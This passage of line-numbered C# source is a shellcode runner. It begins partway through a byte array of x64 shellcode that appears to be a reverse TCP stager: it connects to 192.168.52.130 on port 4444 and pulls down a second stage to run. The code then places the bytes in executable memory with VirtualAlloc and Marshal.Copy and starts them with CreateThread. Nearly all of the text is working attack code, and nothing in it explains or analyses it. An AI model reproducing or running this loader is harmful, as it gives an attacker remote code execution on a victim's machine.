0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9, 55 | 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, 56 | 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48, 57 | 0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b, 58 | 0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b, 59 | 0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41, 60 | 0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1, 61 | 0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45, 62 | 0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b, 63 | 0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01, 64 | 0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48, 65 | 0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9, 66 | 0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00, 67 | 0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5, 68 | 0x49,0xbc,0x02,0x00,0x11,0x5c,0xc0,0xa8,0x34,0x82,0x41,0x54,0x49,0x89,0xe4, 69 | 0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68, 70 | 0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x05, 71 | 0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89, 72 | 0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5, 73 | 0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba, 74 | 0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,0xe5, 75 | 0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9, 76 | 0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5, 77 | 0x83,0xf8,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41, 78 | 0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,0x41, 79 | 0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,0x31, 80 | 0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8, 81 | 0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,0x40, 82 | 0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,0xd5, 83 | 0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,0x3c, 84 | 0xff,0xff,0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41, 85 | 0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 }; 86 | 87 | 88 | 89 | UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, 90 | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 91 | Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length); 92 | IntPtr hThread = IntPtr.Zero; 93 | UInt32 threadId = 0; 94 | // prepare data 95 | 96 | 97 | IntPtr pinfo = IntPtr.Zero; 98 | 99 | // execute native code 100 | 101 | hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); 102 | WaitForSingleObject(hThread, 0xFFFFFFFF); 103 | return; 104 | } 105 | 106 | private static UInt32 MEM_COMMIT = 0x1000; 107 | 108 | private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; 109 | 110 | [DllImport("kernel32")] 111 | private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, 112 | UInt32 size, UInt32 flAllocationType, UInt32 flProtect); 113 | 114 | 115 | [DllImport("kernel32")] 116 | private static extern IntPtr CreateThread( 117 | 118 | UInt32 lpThreadAttributes, 119 | UInt32 dwStackSize, 120 | UInt32 lpStartAddress, 121 | IntPtr param, 122 | UInt32 dwCreationFlags, 123 | ref UInt32 lpThreadId 124 | 125 | ); 126 | 127 | [DllImport("kernel32")] 128 | private static extern UInt32 WaitForSingleObject( 129 | 130 | IntPtr hHandle, 131 | UInt32 dwMilliseconds 132 | ); 133 | } 134 | } 135 | --------------------------------------------------------------------------------